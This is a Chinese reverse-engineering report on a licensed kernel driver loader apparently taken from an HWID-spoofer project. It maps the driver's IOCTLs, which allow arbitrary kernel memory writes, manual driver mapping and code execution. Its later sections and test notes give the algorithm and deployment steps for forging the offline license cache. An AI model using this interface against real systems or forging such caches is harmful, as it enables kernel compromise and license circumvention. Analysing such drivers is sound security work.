某DriverLoader驱动逆向分析报告
DriverLoader驱动逆向分析报告
- DriverLoader驱动逆向分析报告
- 0. 概述
- 1. 驱动初始化与鉴权 (
DriverEntry→DriverInit) - 2. LocalAuthCache 本地许可文件构造
- 3. IOCTL 派遣表 (
IoctlDispatch @ 0x140001028) - 4. 手动映射驱动 (
IoctlMapDriver @ 0x140001608→ManualMapImage @ 0x140002B28) - 5. MDL 重映射写内存 (
IoctlWriteMemoryMdl @ 0x140001804) - 6. 任意代码执行 (
IoctlExecuteCode @ 0x14000144C) - 7. 卸载 (
DriverUnload @ 0x140001E34) - 8. HAP SDK 导出
- 9. 安全风险总结
- 测试
0. 概述
vmp保护的 “release” 版本sha256:8a97a09d03f78d53977c46b320a624c41afb62c5e4bfaa8ecb6130444d185984
调试版本 sha256:47a318df162b92f9c3ae047075cfa7cf800a2092231a6174951f4810504b45aa
pdb:D:\Gayhub\MachineCode\XyzHwidSpoofer\3rdparty\driver-loader\bin\x64\Release\DriverLoader.pdb
//本文分析时使用"调试版本",测试时使用的“release” 版本;
该驱动是一个内核态 HAP 客户端 + 内核功能加载器。它:
- 静态链接并导出 HAP C++ SDK 全部函数 (
HAP_Initialize/HAP_Login/HAP_Heartbeat/HAP_CloudFunction等,见 https://www.16hex.cc/client/cpp.html ); - 在
DriverEntry中先读许可文件、连接 HAP 服务器在线登录,失败则回退本地许可缓存离线鉴权; - 鉴权通过后创建设备
\Device\DriverLoader(符号链接\DosDevices\DriverLoader),暴露一组 IOCTL,提供:- 内存拷贝/填充、物理内存映射/取消映射、MDL 重映射写内存(绕过只读保护)
- 内核池分配/释放、虚拟地址→物理地址转换
- 已加载内核模块基址查询、内核例程地址解析
- 手动映射 PE 驱动(解析重定位/导入、调用入口)
- 在任意虚拟地址执行代码(
KeExpandKernelStackAndCalloutEx) - 资源/AVL 表辅助操作、缓存失效
设备类型 FILE_DEVICE_UNKNOWN (0x22),IOCTL = CTL_CODE(0x22, 0x800+n, METHOD_BUFFERED, FILE_ANY_ACCESS),即基址 0x222000。
1. 驱动初始化与鉴权 (DriverEntry → DriverInit)
1.1 入口
// 0x140014000 DriverEntry
NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
sub_14001402C(); // __security_cookie 初始化
return DriverInit(DriverObject); // 0x1400019F0
}
1.2 DriverInit @ 0x1400019F0 鉴权流程
完整反编译(节选关键路径):
NTSTATUS __fastcall DriverInit(PDRIVER_OBJECT DriverObject)
{
DbgPrintEx(0x4D, 0, "DriverEntry: Entry\n");
v2 = ReadLicenseFile(); // 读 C:\Windows\SysWOW64\sc.ini
if (!v2) { DbgPrintEx(...,"Failed to read license file\n"); return -1073741823; }
DbgPrintEx(...,"License string: %s\n", v2);
// 用混淆表还原服务器 IP (16 个池索引 -> "0123456789." 字符池)
v3 = 0;
do { ((BYTE*)&v18)[v3] = g_IpCharPoolPtr[g_IpIndexTable[v3]]; ++v3; } while (v3 < 16);
HIBYTE(v18) = 0; // 截断为 15 字符
DbgPrintEx(...,"Selected ip: %s\n", &v18);
// 许可首字节决定端口: 'B'=16000, 'C'=17000, 'D'=18000
v4 = *v2; v5 = *(_int16*)v2;
if (v4 == 'B') v5 = 16000;
else if (v4 == 'C') v5 = 17000;
else if (v4 == 'D') v5 = 18000;
DbgPrintEx(...,"Selected port: %d\n", v5);
v14 = 1; // ClientVersion = 1.0.0.0
if (!HAP_Initialize((const char*)&v18, v5, &v14)) { ...return fail; }
DbgPrintEx(...,"license: %s\n", v2 + 2);
if (HAP_Login(v2 + 2)) { // 在线登录成功
DbgPrintEx(...,"HAP_Login success (online)\n");
SaveLocalAuthCache(v2 + 2); // 保存本地缓存 sc.dat
goto LABEL_25;
}
v7 = HAP_GetLastError();
if (v7 != 2) { // 非连接失败
switch (v7) {
case 1201: v8 = "License key error"; break;
case 1202: DbgPrintEx(...,"License key banned");
ExFreePoolWithTag(v2,0);
KeBugCheckEx(0xDEAD1202,0,0,0,0); // 蓝屏自毁
case 1203: v8 = "License key already bound"; break;
default: ksnprintf(g_ErrorMsgBuffer,128,"Login failed, error code: %d",v7); v8=g_ErrorMsgBuffer;
}
goto LABEL_32; // 鉴权失败
}
// v7 == 2 : 服务器连接失败 -> 回退本地缓存
DbgPrintEx(...,"Server connection failed, trying local auth...\n");
v9 = ValidateLocalAuthCache(v2 + 2); // 离线鉴权
if (v9 != 1) {
v13 = (v9==2) ? "Local auth failed - cache expired" : "Local auth failed - no valid cache";
goto LABEL_32;
}
DbgPrintEx(...,"Local auth succeeded (offline mode)\n");
LABEL_25: // 鉴权通过,创建设备
ExFreePoolWithTag(v2, 0);
RtlInitUnicodeString(&DestinationString, L"\\Device\\DriverLoader");
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\DriverLoader");
IoCreateDevice(DriverObject, 0, &DestinationString, 0x22, 0, 0, &DeviceObject);
IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
DeviceObject->Flags |= 4u; // DO_BUFFERED_IO
DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateClose; // 0x140001000
DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IoctlDispatch; // 0x140001028
DriverObject->DriverUnload = DriverUnload; // 0x140001E34
DeviceObject->Flags &= ~0x80u; // 清 DO_DEVICE_INITIALIZING
return 0;
}
1.3 服务器 IP 还原(混淆表)
g_IpCharPoolPtr (0x140011000) 指向字符池 0x14000F390:
30 31 32 33 34 35 36 37 38 39 2E 00 => "0123456789."
g_IpIndexTable (0x140011010) 为 16 个 DWORD 索引:
[2,0,6,10, 1,1,9,10, 1,7,4,10, 1,9,7,10]
经 pool[idx] 映射、第 16 字节被置 0,得到 15 字符 IP:
2 0 6 . 1 1 9 . 1 7 4 . 1 9 7 => 206.119.174.197
HAP 服务器: 206.119.174.197,端口由许可首字节决定 (B=16000 / C=17000 / D=18000)。
1.4 许可文件格式 (ReadLicenseFile @ 0x14000261C)
char *ReadLicenseFile()
{
sub_14000D1C0(Str, 0, 0x40); // memset
v0 = ReadFileString(L"\\??\\C:\\Windows\\SysWOW64\\sc.ini", Str, 0x40);
if (v0 < 0) return 0;
v3 = strlen(Str) + 1;
Pool = ExAllocatePool(NonPagedPool, v3);
kmemcpy(Pool, Str, v3);
return Pool;
}
- 路径:
C:\Windows\SysWOW64\sc.ini(纯文本) DriverInit中的使用:// v2 = LicenseFile (sc.ini 内容) v4 = *v2; v5 = *(_int16*)v2; // 读 byte0-1 作为 int16 if (v4 == 'B') v5 = 16000; // tier B → 端口 16000 else if (v4 == 'C') v5 = 17000; // tier C → 端口 17000 else if (v4 == 'D') v5 = 18000; // tier D → 端口 18000 HAP_Initialize(ip, v5, &ver); // 必须成功 (否则直接失败) // ... HAP_Login(v2 + 2); // byte2+ 为 license key- sc.ini 格式:
<1 字节层级(B/C/D)><1 字节分隔符(空格)><license key 字符串>\0- 第 0 字节决定 HAP 端口 (
B=16000,C=17000,D=18000), 用于HAP_Initialize - 第 1 字节为分隔符 (驱动未检查, 但必须是非空可打印字符, 如空格
' ') - 第 2 字节起为 license key, 同时传给
HAP_Login(在线) 和ValidateLocalAuthCache(离线) - 关键:
ReadLicenseFile用strlen()确定长度, 若分隔符为\x00会导致 strlen=1, 只读到 tier 字节, 丢失 key
- 第 0 字节决定 HAP 端口 (
- 离线鉴权依赖: 即使从不通服务器, 也必须提供有效 tier 字节, 否则
HAP_Initialize端口无效 → 直接失败
1.5 鉴权失败自毁
License key banned (错误 1202) 触发 KeBugCheckEx(0xDEAD1202, 0,0,0,0) 直接蓝屏。
SaveLocalAuthCache/ValidateLocalAuthCache 检测到硬件指纹/许可哈希不匹配时,调用 DeleteLocalAuthCache 删除 sc.dat。
2. LocalAuthCache 本地许可文件构造
缓存文件: C:\Windows\SysWOW64\sc.dat (由 SaveLocalAuthCache @ 0x1400026F4 写入, ValidateLocalAuthCache @ 0x1400028C0 校验)
2.1 明文结构 (0xB4 = 180 字节)
| 偏移 | 大小 | 字段 | 来源 |
|---|---|---|---|
| 0x00 | 4 | magic = 'HAPC' (0x48415043, MSVC 多字符常量=大端序) |
常量 |
| 0x04 | 0x84 (132) | 保留(填 0) | kmemset |
| 0x88 | 8 | machineFingerprint |
GetMachineFingerprint() |
| 0x90 | 8 | issueTime |
KUSER_SHARED_DATA.SystemTime(当前) |
| 0x98 | 8 | expiryTime |
issueTime + 3 天 (0x25B7F3D4000 100ns 单位) |
| 0xA0 | 4 | licenseHash |
djb2(license, mul=0x21, init=0x1505) |
| 0xA4 | 0x0C (12) | 保留(填 0) | |
| 0xB0 | 4 | checksum |
ComputeChecksum32(buf[0..0xB0]) ^ 0xDEADBEEF |
| 合计 | 0xB4 (180) |
2.2 校验和 ComputeChecksum32 @ 0x140001E70
__int64 ComputeChecksum32(__int64 a1)
{
int v1 = 0;
for (unsigned __int64 i = 0; i < 0xB0; ++i) // 对前 0xB0 字节
v1 = *(BYTE*)(a1 + i) ^ (0x21 * v1); // crc8 风格 (poly 0x21, 反馈)
return v1 ^ 0xDEADBEEF; // 末尾异或常量
}
2.3 许可哈希 djb2 变种
DWORD licenseHash = 0x1505;
while (*license) licenseHash = (BYTE)*license++ + 0x21 * licenseHash;
2.4 加密 XorEncryptCache @ 0x140001F28 / 解密 XorDecryptCache @ 0x140001E94
仅对前 0xB0 字节(即 22 个 QWORD, 0x16 * 8 = 0xB0)进行加密。末尾 4 字节 checksum [0xB0..0xB3] 为明文存储,不参与 XOR:
// 加密 (覆盖 buf[0x00..0xAF], 即 i=0..21 的 QWORD)
for (int i = 0; i < 0x16; i++)
buf[i] = ROL64(buf[i] ^ 0xB6C8DAE2F4061829, 7*i + 3);
// 解密 (逆运算: ROR 抵消 ROL)
for (int i = 0; i < 0x16; i++)
buf[i] = ROR64(buf[i], 7*i + 3) ^ 0xB6C8DAE2F4061829;
注: 22 个 QWORD 覆盖字节
0x00..0xAF(0xB0 字节)。第 22 块 (i=21) 覆盖0xA8..0xAF。checksum 字段0xB0..0xB3在文件中为明文,但校验和计算覆盖的是加密前的明文buf[0..0xB0]。加/解密在校验和计算之后进行。
2.5 硬件指纹 GetMachineFingerprint @ 0x140001F58
组合以下注册表/系统信息,经 MurmurHash3 64 位终结器混合为 8 字节指纹:
| 来源 (注册表路径) | 值 | 混合方式 | djb2 乘子 |
|---|---|---|---|
KeNumberProcessors |
CPU 数 | << 0x30 (高 16 位) |
- |
RtlGetVersion |
dwMajor/minor/build | << 0x10 异或 |
- |
HKLM\SOFTWARE\Microsoft\Cryptography MachineGuid |
WCHAR | djb2 | 0x21 |
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion ProductId |
WCHAR | djb2 << 8 |
0x81 |
HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName ComputerName |
WCHAR | djb2 << 0x10 |
0x801 |
HKLM\...\Windows NT\CurrentVersion InstallDate |
DWORD | << 0x18 |
- |
HKLM\...\Windows NT\CurrentVersion DigitalProductId |
BYTE[] | djb2(逐字节) | 0x21 |
终结混合 (MurmurHash3 64 finalizer):
v1 ^= v1 >> 33; v1 *= 0xFF51AFD7ED558CCD;
v1 ^= v1 >> 33; v1 *= 0xC4CEB9FE1A85EC53;
v1 ^= v1 >> 33;
return v1;
2.6 校验流程 ValidateLocalAuthCache @ 0x1400028C0
int ValidateLocalAuthCache(BYTE *license) // license = sc.ini 第 2 字节起
{
// 1. 打开 sc.dat, 读 0xB4 字节
if (ZwCreateFile(..., FILE_READ_DATA, ..., FILE_OPEN) < 0)
{ Log("Cache file not found"); return 0; }
v2 = ZwReadFile(..., Buffer, 0xB4);
if (v2 < 0 || IoStatusBlock.Information != 0xB4)
{ Log("Failed to read cache file"); return 0; }
XorDecryptCache(Buffer); // 解密
if (*(DWORD*)Buffer != 'HAPC') { Log("Invalid magic"); return 0; }
if (*(DWORD*)&Buffer[0xB0] != ComputeChecksum32(Buffer))
{ Log("Checksum mismatch"); return 0; }
if (*(QWORD*)&Buffer[0x88] != GetMachineFingerprint())
{ Log("Hardware fingerprint mismatch"); DeleteLocalAuthCache(); return 0; }
DWORD h = 0x1505; while (*license) h = (BYTE)*license++ + 0x21*h;
if (*(DWORD*)&Buffer[0xA0] != h) { Log("License hash mismatch"); return 0; }
if (KUSER_SHARED_DATA.SystemTime <= *(QWORD*)&Buffer[0x98]) {
Log("Valid, %d days remaining", (expiry-now)/0xC92A69C000); // 0xC92A69C000 = 1 天
return 1; // 有效
}
Log("Cache expired"); return 2; // 过期
}
返回: 1=有效(离线通过), 2=过期, 0=无效/缺失。
2.7 LocalAuthCache 构造实现
离线鉴权需要两个文件配合:
| 文件 | 路径 | 格式 | 作用 |
|---|---|---|---|
sc.ini |
C:\Windows\SysWOW64\sc.ini |
纯文本: <1B tier><空格分隔符><key>\0 |
tier 决定 HAP 端口 + 提供 license key |
sc.dat |
C:\Windows\SysWOW64\sc.dat |
0xB4 字节,前 0xB0 加密 | 缓存硬件指纹/licenseHash/有效期 |
完整用户态构造器见 LocalAuthCache.cpp (C++) 与 LocalAuthCache.py (Python),可同时生成 sc.ini + sc.dat,并自带 ValidateLocalAuthCache 等价校验逻辑。
用法:
- C++:
LocalAuthCache.exe <license_key> [tier=B/C/D] [sc.dat_path] [sc.ini_path] - Python:
python LocalAuthCache.py <license_key> [tier] [sc.dat_path] [sc.ini_path]
核心明文结构 (0xB4 字节):
#pragma pack(push, 1)
struct LocalAuthCache {
uint32_t magic; // [0x00] 'HAPC'
uint8_t reserved1[0x84]; // [0x04] 填零
uint64_t machineFingerprint; // [0x88] GetMachineFingerprint()
uint64_t issueTime; // [0x90] KUSER_SHARED_DATA.SystemTime
uint64_t expiryTime; // [0x98] issueTime + 3 天 (0x25B7F3D4000)
uint32_t licenseHash; // [0xA0] djb2(license, mul=0x21, init=0x1505)
uint8_t reserved2[0x0C]; // [0xA4] 填零
uint32_t checksum; // [0xB0] ComputeChecksum32 ^ 0xDEADBEEF
}; // 合计 0xB4 = 180 字节
#pragma pack(pop)
构造流程 (对应 SaveLocalAuthCache @ 0x1400026F4 + WriteIniFile):
- 写 sc.ini:
<tier>\0<licenseKey>\0→C:\Windows\SysWOW64\sc.ini memset(cache, 0, 0xB4)— 全缓冲清零cache.magic = 'HAPC'cache.machineFingerprint = GetMachineFingerprint()— 注册表 + OS 信息 → MurmurHash3 finalizercache.issueTime = GetSystemTimeAsFileTime()(等价KUSER_SHARED_DATA.SystemTime)cache.expiryTime = issueTime + 0x25B7F3D4000(3 天)cache.licenseHash = djb2(licenseKey, mul=0x21, init=0x1505)cache.checksum = ComputeChecksum32(cache)— 对前 0xB0 字节 CRC8 风格,末尾^ 0xDEADBEEFXorEncryptCache(cache)— 加密前 0xB0 字节 (22 QWORD, ROL + XOR),checksum 保持明文- 写 0xB4 字节到
C:\Windows\SysWOW64\sc.dat
文件布局 (磁盘):
[0x00..0xAF]XOR 加密密文 (22 QWORD)[0xB0..0xB3]checksum 明文
3. IOCTL 派遣表 (IoctlDispatch @ 0x140001028)
设备: \\.\DriverLoader (即 \Device\DriverLoader),METHOD_BUFFERED,SystemBuffer 双向缓冲。
反汇编确认派遣码基址 0x222000(cmp ecx, 222020h → sub ecx, 222000h → 级联 sub ecx, eax(=4)):
| IOCTL | 功能 | 输入(SystemBuffer) | 输出 | 底层 API |
|---|---|---|---|---|
0x222000 |
CopyMemory | [0]=src, [8]=dst, [0x10]=size |
0x18 | kmemcpy |
0x222004 |
FillMemory | [0]=dst, [8]=val(byte), [0x10]=size |
0x18 | kmemset |
0x222008 |
GetPhysicalAddress | [0]=va |
[8]=pa, 0x10 |
MmGetPhysicalAddress |
0x22200C |
MapPhysicalMemory | [0]=pa, [8]=size |
[0x10]=va, 0x18 |
MmMapIoSpace(MmNonCached) |
0x222010 |
UnmapPhysicalMemory | [0]=va, [8]=size |
— | MmUnmapIoSpace |
0x222014 |
AllocatePool | [0]=flag(1=NonPaged), [8]=size |
[0x10]=va, 0x18 |
ExAllocatePool2(tag 'PAlc') |
0x222018 |
FreePool | [0]=va |
— | ExFreePoolWithTag |
0x22201C |
GetModuleBase | [0]=name(str) |
[0x108]=base, 0x110 |
ZwQuerySystemInformation(0xB) |
0x222020 |
ResolveRoutine | [0]=moduleBaseHint, [8]=ansi name |
[0x110]=addr, 0x118 |
MmGetSystemRoutineAddress + GetExportByName |
0x222024 |
MapDriver | 见 §4 | [0]=mappedBase, 8 |
ManualMapImage |
0x222028 |
WriteMemoryMdl | [0]=targetVa, [8]=size, [0x10]=srcData |
— | MDL re-map (见 §5) |
0x22202C |
ExecuteCode | [0]=fn, [0x10]=argc, [0x18..]=args |
[8]=result, 0x38 |
KeExpandKernelStackAndCalloutEx (见 §6) |
0x222030 |
AcquireResourceExclusive | [0]=PERESOURCE, [8]=wait |
[9]=ok, 0x10 |
ExAcquireResourceExclusiveLite |
0x222034 |
ReleaseResource | [0]=PERESOURCE |
— | ExReleaseResourceLite |
0x222038 |
AvlDeleteElement | [0]=table, [8]=key |
[0x10]=ok, 0x18 |
RtlDeleteElementGenericTableAvl |
0x22203C |
AvlLookupElement | [0]=table, [8]=key |
[0x10]=elem, 0x18 |
RtlLookupElementGenericTableAvl |
0x222040 |
InvalidateRangeAllCaches | [0]=va, [8]=size |
0x10 | KeInvalidateRangeAllCaches |
派遣反汇编片段(确认码):
140001056 mov eax, 222020h
14000105f cmp ecx, eax ; IoControlCode vs 0x222020
140001061 ja loc_14000129E ; > 0x222020
140001067 jz loc_14000128C ; == 0x222020
14000106d sub ecx, 222000h
140001073 jz loc_140001250 ; 0x222000
14000107c sub ecx, 4 ; 0x222004
...
1400010a4 cmp ecx, 4
1400010a6 jnz loc_1400012DF ; != 0x22201C -> STATUS_INVALID_DEVICE_REQUEST
1400010ac mov ebx, 110h ; 0x22201C: GetModuleBase
1400010c5 call GetKernelModuleBase
4. 手动映射驱动 (IoctlMapDriver @ 0x140001608 → ManualMapImage @ 0x140002B28)
4.1 IOCTL 0x222024 输入布局
struct MapDriverInput {
uint32_t totalSize; // [0x00] >= imageSize+relocSize+importSize+0x14
uint32_t flags; // [0x04] bit0=asImageBase, bit1=freeAfter(one-shot), bit5=passBufAsArg0
uint32_t imageSize; // [0x08] PE 镜像大小
uint32_t relocSize; // [0x0C] 附加重定位数据大小(0=用 PE 内置目录)
uint32_t importSize; // [0x10] 附加导入数据大小(0=用 PE 内置目录)
uint8_t image[imageSize]; // [0x14] PE 镜像原始字节
uint8_t relocData[relocSize]; // 紧随其后
uint8_t importData[importSize];// 紧随其后
}; // 输出: out[0] = 映射基址 (8 字节)
4.2 ManualMapImage 流程(反编译佐证)
__int64 ManualMapImage(char *image, uint64_t imageSize, char flags,
char *relocBlob, uint32_t relocSize,
char *importBlob, uint32_t importSize, int64_t *outBase)
{
v10 = GetNtHeaders(image); // 验 MZ/PE, 必须 PE32+ (0x20B)
if (!v10 || *(WORD*)(v10+0x18) != 0x20B) return 0xC000007B;
v11 = *(DWORD*)(v10+0x50); // SizeOfImage
v12 = firstSectionVirtualAddress; // 首 section VA (用于对齐)
// 1) 分配 SizeOfImage 缓冲 (tag 'Lmlc'), 拷贝头+各 section
v14 = ExAllocatePool2(0x40, v11, 'Lmlc'); // PagedPool
kmemcpy(v14, image, *(DWORD*)(v10+0x54)); // SizeOfHeaders
for (s in sections) if (!(s.Characteristics&0x80)) // 非 BSS
kmemcpy(v14+s.VirtualAddress, image+s.PointerToRawData, s.SizeOfRawData);
// 2) 分配可执行缓冲 (tag 'Dklc'), flags&1 时基址对齐为 ImageBase
v19 = ExAllocatePool2(0x80, v11 - v51, 'Dklc'); // PagedPool (0x80)
v20 = (flags&1) ? v19 - v12 : v19; // delta = v20 - ImageBase
v21 = v20 - *(QWORD*)(v10+0x30); // ImageBase
// 3) 应用重定位 (IMAGE_REL_BASED_DIR64 = 0xA000)
ParseRelocations(image, &relocTable, &relocCount); // tag 'Rrlc'
for (block in relocTable)
for (entry in block)
if ((entry & 0xF000) == 0xA000)
*(QWORD*)((entry&0xFFF) + block.PageVA) += delta;
// 4) 解析导入 (tag 'Irlc' + 'Iflc')
ParseImports(image, &importTable, &importCount);
for (desc in importTable) {
base = GetKernelModuleBase(desc.ModuleName); // 按名找模块基址
if (!base) base = GetKernelModuleBase("ntoskrnl.exe");
for (func in desc.Functions)
*(QWORD*)func.IATslot = GetExportByName(base, func.Name); // 二分查导出表
}
// 5) 拷贝最终镜像到可执行缓冲, 拷贝 reloc/import blob (tag '1Plc'/'2Plc')
kmemcpy(v19, &v14[v51], v11 - v51);
if (relocBlob) { v22=ExAllocatePool2(0x40,relocSize,'1Plc'); kmemcpy(v22,relocBlob,relocSize); }
if (importBlob) { v23=ExAllocatePool2(0x40,importSize,'2Plc'); kmemcpy(v23,importBlob,importSize); }
// 6) 调用入口点 (AddressOfEntryPoint), 若在可执行范围内
v42 = v56 + *(DWORD*)(v10+0x28); // base + AddressOfEntryPoint
if (v42 in [v19, v19+size)) {
arg0 = (flags & 0x20) ? v19 : v22; // flags&0x20: 传 buf, 否则传 relocBlob
v25 = ((fnptr)v42)(arg0, v23); // 调用 DriverEntry(buf, importBlob)
if (outBase) *outBase = v41; // 返回映射基址
}
// 7) flags&2: 一次性, 调用后释放可执行缓冲
if (!called || (flags & 2)) ExFreePoolWithTag(v19, 'Dklc');
FreeRelocTable(...); FreeImportTable(...); ExFreePoolWithTag(v14,'Lmlc');
return v25;
}
池标签: Lmlc=镜像副本, Dklc=可执行映像, 1Plc=reloc blob, 2Plc=import blob, Rrlc=重定位表, Irlc=导入表, Iflc=导入函数数组, Kqlc=模块查询缓冲, PAlc=IOCTL 分配池。
4.3 辅助函数
GetNtHeaders @ 0x1400032CC: 验MZ(0x5A4D) +PE\0\0(0x4550),返回 NT_HEADERS。GetExportByName @ 0x140003400: 对模块导出表做二分查找 (NumberOfNames中strcmp),解析AddressOfNames/AddressOfNameOrdinals/AddressOfFunctions,返回函数 RVA+Base。带边界校验(防越界)。GetKernelModuleBase @ 0x140002F9C:MmGetSystemRoutineAddress("ZwQuerySystemInformation")→ZwQuerySystemInformation(SystemModuleInformation=0xB),遍历RTL_PROCESS_MODULES,stricmp(FullPathName+fileNameOffset, name)匹配,返回ImageBase。
5. MDL 重映射写内存 (IoctlWriteMemoryMdl @ 0x140001804)
绕过只读页保护写入内核内存(经典 MDL 写技):
__int64 IoctlWriteMemoryMdl(void *in, uint32_t inLen, uint32_t *outLen)
{
if (inLen < 0x18) return STATUS_INVALID_PARAMETER;
targetVa = *(void**)in; size = *(uint32_t*)(in+8); src = in + 0x10;
if (!targetVa || !size || inLen < size+0x10) return STATUS_INVALID_PARAMETER;
Mdl = IoAllocateMdl(targetVa, size, FALSE, FALSE, NULL);
if (!Mdl) return STATUS_INSUFFICIENT_RESOURCES;
MmProbeAndLockPages(Mdl, KernelMode, IoModifyAccess); // 锁页, 允许写
mapped = MmMapLockedPagesSpecifyCache(Mdl, KernelMode, MmNonCached, NULL, NULL, 0x10);
if (!mapped) { MmUnlockPages(Mdl); IoFreeMdl(Mdl); return STATUS_INSUFFICIENT_RESOURCES; }
kmemcpy(mapped, src, size); // 写入新映射副本
KeInvalidateRangeAllCaches(mapped, size); // 刷新缓存
KeInvalidateRangeAllCaches(targetVa, size); // 刷新原 VA
MmUnmapLockedPages(mapped, Mdl);
MmUnlockPages(Mdl);
IoFreeMdl(Mdl);
*outLen = 0;
return 0;
}
6. 任意代码执行 (IoctlExecuteCode @ 0x14000144C)
__int64 IoctlExecuteCode(uint64_t *in, uint32_t inLen, uint32_t outLen, uint32_t *outWritten)
{
if (inLen < 0x38) return STATUS_INVALID_PARAMETER;
if (!in[0] || *(DWORD*)&in[2] > 4) return STATUS_INVALID_PARAMETER; // fn / argc<=4
if (KeGetCurrentIrql() > DISPATCH_LEVEL) return STATUS_INVALID_DEVICE_STATE; // 0xC0000148
fn = (void*)in[0]; argc = *(DWORD*)&in[2];
// 构造 48 字节 Parameter 块
Parameter[0] = fn;
Parameter[1..4] = in[3..6] (按 argc 填充, 最多 4 个 QWORD 参数);
Parameter[5] = 0; // result
if (KeExpandKernelStackAndCalloutEx(CalloutTrampoline, Parameter, 0x8000, TRUE, NULL) < 0) {
// 大栈调用失败(如 IRQL/等待态) -> 直接调用
Parameter[5] = fn(arg0, arg1, arg2, arg3);
}
if (KeGetCurrentIrql() == savedIrql) { in[1] = Parameter[5]; } // 回写结果
else return STATUS_UNSUCCESSFUL;
*outWritten = (outLen >= 0x38) ? 0x38 : 0;
return 0;
}
// CalloutTrampoline @ 0x140001960
void CalloutTrampoline(uint64_t *P) {
P[5] = ((fn_t)P[0])(P[1], P[2], P[3], P[4]);
}
输入布局:
[0x00] void* fn 函数指针(内核虚拟地址)
[0x08] uint64 result (输出) 返回值
[0x10] uint32 argc 参数个数 (0..4)
[0x14] uint32 pad
[0x18] uint64 arg0
[0x20] uint64 arg1
[0x28] uint64 arg2
[0x30] uint64 arg3
7. 卸载 (DriverUnload @ 0x140001E34)
void DriverUnload(PDRIVER_OBJECT DriverObject) {
RtlInitUnicodeString(&n, L"\\DosDevices\\DriverLoader");
IoDeleteSymbolicLink(&n);
if (DriverObject->DeviceObject) IoDeleteDevice(DriverObject->DeviceObject);
}
IrpCreateClose @ 0x140001000 直接完成 IRP(STATUS_SUCCESS)。
8. HAP SDK 导出
驱动导出 HAP 内核客户端 SDK(地址 0x14000a000-0x14000b4d0),签名与 https://www.16hex.cc/client/cpp.html 一致:
| 导出 | 地址 | 用途 |
|---|---|---|
HAP_Initialize |
0x14000acd0 | 初始化 (ip, port, ClientVersion) |
HAP_Login |
0x14000afd0 | 在线许可登录 (key) |
HAP_LoginIntegrity |
0x14000b460 | 会话完整性校验 |
HAP_Heartbeat |
0x14000a9a0 | 心跳保活 |
HAP_CloudFunction |
0x14000a0a0 | 云端函数 |
HAP_GetUserInfo |
0x14000a7f0 | 获取 License/Owner/ExpireTime/Credits |
HAP_GetClientVersionInfo |
0x14000a530 | 版本备注 |
HAP_GetLastError |
0x14000a7e0 | 错误码 |
HAP_MakeVersion |
0x14000b4a0 | 构造版本号 |
HAP_Cleanup |
0x14000a000 | 清理 |
HAP_TerminateProcess / HAP_MarkAsProtected |
0x14000b4d0 | 终止进程/标记保护 |
错误码: 2=服务器连接失败(触发离线), 1201=许可错误, 1202=许可封禁(蓝屏), 1203=许可已绑定。
9. 安全风险总结
- 任意内核代码执行: 任何能打开
\\.\DriverLoader的用户态进程可通过 IOCTL 0x22202C 执行任意内核函数,0x222024 加载任意驱动 → 完整内核沦陷 / 提权。 - 物理内存读写: 0x22200C/0x222010 + 0x222000 可读写任意物理内存,绕过 PatchGuard/保护。
- 只读页改写: 0x222028 MDL 重映射可修改内核 .text 段( hook 系统调用)。
- 离线鉴权可被绕过: sc.dat 用对称 XOR + 可重建的硬件指纹,攻击者可在掌握许可串后自行构造有效缓存实现离线持久化。
- 封禁即蓝屏: 0xDEAD1202 BugCheck 可被滥用造成 DoS。
测试
LocalAuthCache
离线鉴权部署步骤:
LocalAuthCache.exe "YOUR_KEY" C→ 生成sc.ini+sc.dat- 将两个文件放入
C:\Windows\SysWOW64\ - 加载驱动 → 驱动读 sc.ini → HAP_Initialize(port=17000) → HAP_Login 失败(error=2) → 回退 ValidateLocalAuthCache → 通过
// =============================================================================
// LocalAuthCache.cpp
//
// 用户态构造器: 重建驱动 47a318df...504b45aa.sys 的本地许可文件 sc.ini
// 与加密缓存文件 sc.dat, 用于离线鉴权 (服务器不可达时回退本地验证)。
//
// sc.ini 路径: C:\Windows\SysWOW64\sc.ini (纯文本许可文件)
// sc.dat 路径: C:\Windows\SysWOW64\sc.dat (加密缓存)
//
// sc.ini 格式: <1字节层级(B/C/D)><1字节分隔符(空格)><license key 字符串\0>
// - 层级决定 HAP 端口: B=16000, C=17000, D=18000 (DriverInit @ 0x140001AD6)
// - 驱动 v5=*(int16*)sc.ini 但仅用 byte0(层级), byte1(分隔符)被忽略
// - 分隔符必须是非空可打印字符(用空格 ' '),不能用 \x00:
// 驱动 ReadFileLicense 用 strlen() 读文件, \x00 会导致截断
// - v2+2 起为 license key (传给 HAP_Login / ValidateLocalAuthCache)
//
// sc.dat 大小: 0xB4 (180) 字节
// 加密范围: 前 0xB0 字节 (22 QWORD), 末尾 4 字节 checksum 为明文
//
// 离线鉴权流程 (对应 DriverInit @ 0x1400019F0):
// 1. ReadLicenseFile() 读 sc.ini, 第0字节决定端口 B/C/D → 16000/17000/18000
// 2. HAP_Initialize(ip, port, ver) — 必须成功 (否则直接返回失败)
// 3. HAP_Login(v2+2) → 服务器连接失败 (error=2)
// 4. ValidateLocalAuthCache(v2+2) → 读 sc.dat 解密验证
//
// 所有算法均由 IDA Pro 反编译结果逐一验证, 见各函数注释中的反编译佐证。
// =============================================================================
//
// 验证依据 (IDA Pro decompilation, instance g103):
//
// --- SaveLocalAuthCache @ 0x1400026F4 ---
// kmemset(v11, 0, 0xB0); // 清零 0x04..0xB3
// Buffer = 'HAPC'; // [0x00] magic
// v12 = GetMachineFingerprint(); // [0x88] fingerprint
// v13 = *(_QWORD *)&KUSER_SHARED_DATA.SystemTime; // [0x90] issueTime
// v14 = SystemTime + 0x25B7F3D4000LL; // [0x98] expiryTime (+3天)
// v2 = 0x1505; while(*a1) v2 = (BYTE)*a1++ + 0x21*v2; // djb2 license hash
// v15 = v2; // [0xA0] licenseHash
// v16 = ComputeChecksum32(&Buffer); // [0xB0] checksum
// XorEncryptCache(&Buffer); // 加密前 0xB0 字节
// ZwWriteFile(FileHandle, ..., &Buffer, 0xB4u, ...); // 写 0xB4 字节
//
